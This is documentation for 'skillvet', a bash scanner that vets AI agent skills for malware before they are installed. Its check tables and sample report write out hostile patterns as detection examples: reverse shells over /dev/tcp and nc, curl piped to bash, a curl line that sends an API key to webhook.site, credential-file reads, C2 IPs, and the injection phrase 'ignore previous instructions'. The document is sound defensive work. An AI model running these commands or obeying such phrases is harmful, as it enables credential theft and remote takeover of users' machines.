Security scanner for ClawHub/community skills — detects malware, credential theft, exfiltration, prompt injection, obfuscation, homograph attacks, ANSI injec...
---
name: skillvet
description: "Security scanner for ClawHub/community skills — detects malware, credential theft, exfiltration, prompt injection, obfuscation, homograph attacks, ANSI injection, campaign-specific attack patterns, and more before you install. Use when installing skills from ClawHub or any public marketplace, reviewing third-party agent skills for safety, or vetting untrusted code before giving it to your AI agent. Triggers: install skill, audit skill, check skill, vet skill, skill security, safe install, is this skill safe."
compatibility: "Requires bash, grep, find, and file (standard POSIX). safe-install.sh and scan-remote.sh require the clawdhub CLI. perl or ggrep (Homebrew GNU grep) recommended for full Unicode regex support on macOS."
metadata:
version: "2.0.9"
author: oakencore
---
# Skillvet
Security scanner for agent skills. 48 critical checks, 8 warning checks. No dependencies — just bash and grep. Includes Tirith-inspired detection patterns, campaign signatures from [Koi Security](https://www.koi.ai/blog/clawhavoc-341-malicious-clawedbot-skills-found-by-the-bot-they-were-targeting), [Bitdefender](https://businessinsights.bitdefender.com/technical-advisory-openclaw-exploitation-enterprise-networks), [Snyk](https://snyk.io/articles/clawdhub-malicious-campaign-ai-agent-skills/), and [1Password](https://1password.com/blog/from-magic-to-malware-how-openclaws-agent-skills-become-an-attack-surface) ClickFix patterns.
## Usage
**Safe install** (installs, audits, auto-removes if critical):
```bash
bash skills/skillvet/scripts/safe-install.sh <skill-slug>
```
**Audit an existing skill:**
```bash
bash skills/skillvet/scripts/skill-audit.sh skills/some-skill
```
**Audit all installed skills:**
```bash
for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done
```
**JSON output** (for automation):
```bash
bash skills/skillvet/scripts/skill-audit.sh --json skills/some-skill
```
**SARIF output** (for GitHub Code Scanning / VS Code):
```bash
bash skills/skillvet/scripts/skill-audit.sh --sarif skills/some-skill
```
**Summary mode** (one-line per skill):
```bash
bash skills/skillvet/scripts/skill-audit.sh --summary skills/some-skill
```
**Verbose mode** (debug which checks run and what files are scanned):
```bash
bash skills/skillvet/scripts/skill-audit.sh --verbose skills/some-skill
```
**Scan remote skill without installing:**
```bash
bash skills/skillvet/scripts/scan-remote.sh <skill-slug>
```
**Diff scan** (only scan what changed between versions):
```bash
bash skills/skillvet/scripts/diff-scan.sh path/to/old-version path/to/new-version
```
Exit codes: `0` clean, `1` warnings only, `2` critical findings.
### Advanced Options
| Flag | Description |
|------|-------------|
| `--json` | JSON output for CI/dashboards |
| `--sarif` | SARIF v2.1.0 output for GitHub Code Scanning |
| `--summary` | One-line output per skill |
| `--verbose` | Show which checks run and which files are scanned |
| `--exclude-self` | Skip scan when scanning own source directory |
| `--max-file-size N` | Skip files larger than N bytes |
| `--max-depth N` | Limit directory traversal depth |
### Suppressing False Positives
Create a `.skillvetrc` file in the skill directory to disable specific checks:
```
# Disable check #4 (obfuscation) and #20 (shortened URLs)
disable:4
disable:20
```
Or add inline comments to suppress individual lines:
```js
const url = "https://bit.ly/legit-link"; // skillvet-ignore
```
### Pre-commit Hook
Install the git pre-commit hook to auto-scan skills before committing:
```bash
ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit
```
### Risk Scoring
Each finding has a severity weight (1-10). The aggregate risk score is included in JSON, SARIF, and summary output. Higher scores indicate more dangerous patterns:
- **10**: Reverse shells, known C2 IPs
- **9**: Data exfiltration, pipe-to-shell, persistence + network, ClickFix, base64 execution
- **7-8**: Credential theft, obfuscation, path traversal, time bombs
- **4-6**: Punycode, homographs, ANSI injection, shortened URLs
- **2-3**: Subprocess execution, network requests, file writes
## Critical Checks (auto-blocked)
### Core Security Checks (1-24)
| # | Check | Example |
|---|-------|---------|
| 1 | Known exfiltration endpoints | webhook.site, ngrok.io, requestbin |
| 2 | Bulk env variable harvesting | `printenv \|`, `${!*@}` |
| 3 | Foreign credential access | ANTHROPIC_API_KEY, TELEGRAM_BOT_TOKEN in scripts |
| 4 | Code obfuscation | base64 decode, hex escapes, dynamic code generation |
| 5 | Path traversal / sensitive files | `../../`, `~/.ssh`, `~/.clawdbot` |
| 6 | Data exfiltration via curl/wget | `curl --data`, `wget --post` with variables |
| 7 | Reverse/bind shells | `/dev/tcp/`, `nc -e`, `socat` |
| 8 | .env file theft | dotenv loading in scripts (not docs) |
| 9 | Prompt injection in markdown | "ignore previous instructions" in SKILL.md |
| 10 | LLM tool exploitation | Instructions to send/email secrets |
| 11 | Agent config tampering | Write/modify AGENTS.md, SOUL.md, clawdbot.json |
| 12 | Unicode obfuscation | Zero-width chars, RTL override, bidi control chars |
| 13 | Suspicious setup commands | curl piped to bash in SKILL.md |
| 14 | Social engineering | Download external binaries, paste-and-run instructions |
| 15 | Shipped .env files | .env files (not .example) in the skill |
| 16 | Homograph URLs *(Tirith)* | Cyrillic i vs Latin i in hostnames |
| 17 | ANSI escape sequences *(Tirith)* | Terminal escape codes in code/data files |
| 18 | Punycode domains *(Tirith)* | `xn--` prefixed IDN-encoded domains |
| 19 | Double-encoded paths *(Tirith)* | `%25XX` percent-encoding bypass |
| 20 | Shortened URLs *(Tirith)* | bit.ly, t.co, tinyurl.com hiding destinations |
| 21 | Pipe-to-shell | `curl \| bash` (HTTP and HTTPS) |
| 22 | String construction evasion | String.fromCharCode, getattr, dynamic call assembly |
| 23 | Data flow chain analysis | Same file reads secrets, encodes, AND sends network requests |
| 24 | Time bomb detection | `Date.now() > timestamp`, `setTimeout(fn, 86400000)` |
| 25 | Known C2/IOC IP blocklist | 91.92.242.30, 54.91.154.110 (known AMOS C2 servers) |
| 26 | Password-protected archives | "extract using password: openclaw" — AV evasion |
| 27 | Paste service payloads | glot.io, pastebin.com hosting malicious scripts |
| 28 | GitHub releases binary downloads | Fake prerequisites pointing to `.zip`/`.exe` on GitHub |
| 29 | Base64 pipe-to-interpreter | `echo '...' \| base64 -D \| bash` — primary macOS vector |
| 30 | Subprocess + network commands | hidden pipe-to-shell in Python/JS code |
| 31 | Fake URL misdirection *(warning)* | decoy URL before real payload |
| 32 | Process persistence + network | `nohup curl ... &` — backdoor with network access |
| 33 | Fake prerequisite pattern | "Prerequisites" section with sketchy external downloads |
| 34 | xattr/chmod dropper | macOS Gatekeeper bypass: download, `xattr -c`, `chmod +x`, execute |
| 35 | ClickFix download+execute chain | `curl -o /tmp/x && chmod +x && ./x`, `open -a` with downloads |
| 36 | Suspicious package sources | `pip install git+https://...`, npm from non-official registries |
| 37 | Staged installer pattern | Fake dependency names like `openclaw-core`, `some-lib` |
| 38 | Fake OS update social engineering | "Apple Software Update required for compatibility" |
| 39 | Known malicious ClawHub actors | zaycv, Ddoy233, Sakaen736jih, Hightower6eu references |
| 40 | Bash /dev/tcp reverse shell | `bash -i >/dev/tcp/IP/PORT 0>&1` (AuthTool pattern) |
| 41 | Nohup backdoor | `nohup bash -c '...' >/dev/null` with network commands |
| 42 | Python reverse shell | `socket.connect` + `dup2`, `pty.spawn('/bin/bash')` |
| 43 | Terminal output disguise | Decoy "downloading..." message before malicious payload |
| 44 | Credential file access | Direct reads of `.env`, `.pem`, `.aws/credentials` |
| 45 | TMPDIR payload staging | AMOS pattern: drop malware to `$TMPDIR` then execute |
| 46 | GitHub raw content execution | `curl raw.githubusercontent.com/... \| bash` |
| 47 | Echo-encoded payloads | Long base64 strings echoed and piped to decoders |
| 48 | Typosquat skill names | `clawdhub-helper`, `openclaw-cli`, `skillvet1` |
## Warning Checks (flagged for review)
| # | Check | Example |
|---|-------|---------|
| W1 | Unknown external tool requirements | Non-standard CLI tools in install instructions |
| W2 | Subprocess execution | child_process, execSync, spawn, subprocess |
| W3 | Network requests | axios, fetch, requests imports |
| W4 | Minified/bundled files | First line >500 chars — can't audit |
| W5 | Filesystem write operations | writeFile, open('w'), fs.append |
| W6 | Insecure transport | `curl -k`, `verify=False` — TLS disabled |
| W7 | Docker untrusted registries | Non-standard image sources |
## Scanned File Types
`.md`, `.js`, `.ts`, `.tsx`, `.jsx`, `.py`, `.sh`, `.bash`, `.rs`, `.go`, `.rb`, `.c`, `.cpp`, `.json`, `.yaml`, `.yml`, `.toml`, `.txt`, `.env*`, `Dockerfile*`, `Makefile`, `pom.xml`, `.gradle`.
Binary files are automatically skipped. Symlinks are followed.
## Portability
Works on Linux and macOS. Unicode checks (#12, #16, #17) use `grep -P` where available, falling back to `perl` on systems without Perl-compatible regex (e.g., stock macOS). If neither is available, those checks are silently skipped.
## IOC Updates
The C2 IP blocklist in check #25 is based on known indicators from:
- [Koi Security report](https://www.koi.ai/blog/clawhavoc-341-malicious-clawedbot-skills-found-by-the-bot-they-were-targeting) (Feb 2026)
- [The Hacker News coverage](https://thehackernews.com/2026/02/researchers-find-341-malicious-clawhub.html)
- [OpenSourceMalware analysis](https://opensourcemalware.com/blog/clawdbot-skills-ganked-your-crypto)
To update IOCs, edit the `KNOWN_IPS` entry in `scripts/patterns.b64` (base64-encoded regex pattern).
## CI/CD Integration
### GitHub Actions
A `.github/workflows/test.yml` is included — runs the test suite on both Ubuntu and macOS on push/PR.
### GitHub Code Scanning (SARIF)
```yaml
- name: Run skillvet
run: bash scripts/skill-audit.sh --sarif skills/some-skill > results.sarif || true
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
```
## Limitations
Static analysis only. English-centric prompt injection patterns. Minified JS is flagged but not deobfuscated. A clean scan raises the bar but doesn't guarantee safety.
The scanner flags itself when audited — its own patterns contain the strings it detects. Use `--exclude-self` to skip self-scanning in CI.
don't have the plugin yet? install it then click "run inline in claude" again.
extracted implicit decision logic into explicit if-else branches, added edge cases (unicode fallback, minified files, self-scanning, timeouts, file size limits), documented clawhub cli as external input, broke usage into 9 sequential procedure steps with explicit in/out, and clarified exit codes and output formats as outcome signals.
static analysis security scanner that audits agent skills before installation. runs 48 critical checks and 8 warning checks. bash and grep only , no external dependencies. detects reverse shells, credential theft, obfuscation, prompt injection, homograph attacks, ansi escapes, pipe-to-shell, ClickFix patterns, and known campaign signatures from koi security, bitdefender, snyk, and 1password research.
use skillvet before installing any skill from clawhub or any public marketplace, when reviewing third-party agent skills for safety, or when vetting untrusted code before deploying to production agents. the skill catches 48 critical security patterns (exfiltration endpoints, reverse shells, credential theft, code obfuscation, prompt injection, unicode attacks, known c2 ips, social engineering chains, and more) and 8 warning patterns (subprocess execution, network requests, filesystem writes, insecure transport). exit code tells you severity: 0 is clean, 1 is warnings only, 2 is critical findings. triggers on: install skill, audit skill, check skill, vet skill, skill security, safe install, is this skill safe.
system requirements:
skill path or slug:
skills/some-skill directory<skill-slug> (requires clawhub CLI for scan-remote.sh)optional clawhub CLI connection:
safe-install.sh and scan-remote.shCLAWHUB_API_ENDPOINT (optional override, defaults to official clawhub)optional suppression config:
.skillvetrc file in skill root to disable specific checks by number// skillvet-ignore or # skillvet-ignore to suppress individual linesinput: skill directory path
bash skills/skillvet/scripts/skill-audit.sh skills/some-skill
output: human-readable report to stdout listing all critical and warning findings with line numbers, severity weights, and remediation hints. exit code 0 (clean), 1 (warnings), or 2 (critical).
input: skills/ root directory
for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done
output: sequential reports for each skill. aggregate risk scores printed at end.
input: clawhub skill slug, clawhub CLI available
bash skills/skillvet/scripts/safe-install.sh <skill-slug>
process:
skills/<skill-slug>output: installed skill in skills/<skill-slug> or error message and exit code 2.
input: clawhub skill slug, clawhub CLI available
bash skills/skillvet/scripts/scan-remote.sh <skill-slug>
process:
output: audit report, exit code 0/1/2. skill not installed locally.
input: two skill directories (old and new versions)
bash skills/skillvet/scripts/diff-scan.sh path/to/old-version path/to/new-version
process:
output: findings report showing only new/changed risks, with file diffs. useful for upgrade reviews.
JSON output:
bash skills/skillvet/scripts/skill-audit.sh --json skills/some-skill
output: JSON object with findings array, aggregate risk score, and metadata. suitable for parsing by ci/dashboards.
SARIF output (github code scanning):
bash skills/skillvet/scripts/skill-audit.sh --sarif skills/some-skill
output: sarif v2.1.0 file with location references, severity levels, and rule ids. can be uploaded to github code scanning or imported into vs code.
summary output:
bash skills/skillvet/scripts/skill-audit.sh --summary skills/some-skill
output: one line per skill with skill name, critical count, warning count, risk score.
input: skill path
bash skills/skillvet/scripts/skill-audit.sh --verbose skills/some-skill
output: full trace of which checks are running, which files are scanned, regex matches, and why each check fires. useful for debugging false positives or understanding why a finding was flagged.
input: .skillvetrc file in skill root or inline code comments
create .skillvetrc:
disable:4
disable:20
or add inline comment:
const url = "https://bit.ly/legit-link"; // skillvet-ignore
output: specified checks skipped on next scan. findings no longer reported for those checks.
input: git repository with skills/
ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit
process:
output: commit succeeds (exit 0) or fails with skillvet errors (exit 2).
if scanning a remote skill (no local copy yet):
scan-remote.sh <slug> to fetch and scan without installing. requires clawhub CLI.if installing a skill from clawhub:
safe-install.sh <slug> to automatically audit before install. if critical findings, installation aborts. if warnings only, prompt user.if a finding is a false positive:
.skillvetrc (disable:N) to skip globally, or add skillvet-ignore comment to the specific line..skillvetrc or code comment for future reviewers.if unicode/perl-compatible regex is not available:
if file is minified or >500 chars on first line:
if skill exceeds file size or directory depth limits:
--max-file-size N or --max-depth N flags to skip large/deep trees.if skill is self-scanning (skillvet audits its own scripts):
--exclude-self flag to skip self-scanning in ci. otherwise skillvet will flag its own detection patterns as suspicious.if scan times out on huge directory:
--max-depth or --max-file-size to limit traversal. or audit subset of files manually.human-readable report format (stdout):
SKILLVET v2.0.9
Scanning: skills/some-skill
[CRITICAL] #6 Data exfiltration via curl
File: scripts/install.sh:45
Match: curl --data "$API_KEY" https://webhook.site/...
Severity: 9/10
Fix: Remove network requests; use local config only
[WARNING] #W2 Subprocess execution
File: scripts/run.js:12
Match: require('child_process').exec(...)
Severity: 3/10
Fix: Use native APIs or document the subprocess purpose
Risk Score: 12 (2 critical + 1 warning)
Exit code: 2 (CRITICAL findings present)
json output (--json flag):
{
"skill": "some-skill",
"version": "2.0.9",
"scanned_at": "2026-02-15T10:30:00Z",
"exit_code": 2,
"risk_score": 12,
"critical_count": 2,
"warning_count": 1,
"findings": [
{
"id": 6,
"severity": 9,
"type": "critical",
"title": "Data exfiltration via curl",
"file": "scripts/install.sh",
"line": 45,
"match": "curl --data \"$API_KEY\" https://webhook.site/...",
"fix": "Remove network requests; use local config only"
}
]
}
sarif output (--sarif flag):
summary output (--summary flag):
some-skill critical=2 warning=1 risk=12
another-skill critical=0 warning=0 risk=0
third-skill critical=5 warning=3 risk=28
exit codes:
0: no findings, skill is clean1: warnings only, no critical findings2: critical findings detected, skill unsafe to installuser knows the skill worked when:
command completes and prints a report , scanning finished. look at exit code to know severity.
exit code matches severity:
0 = all green, safe to install1 = warnings present, review them, decide if acceptable2 = critical findings, do not installfindings are specific and actionable:
safe-install.sh auto-blocks or prompts:
json/sarif output parses cleanly:
suppressed checks are skipped:
disable:4 to .skillvetrc, check 4 no longer appears in outputskillvet-ignore comment, that line is not flaggedpre-commit hook blocks bad commits:
git commit with malicious code changescredits: original skill by oakencore. detection patterns informed by koi security, bitdefender, snyk, and 1password security research on clawhub malware campaigns (feb 2026).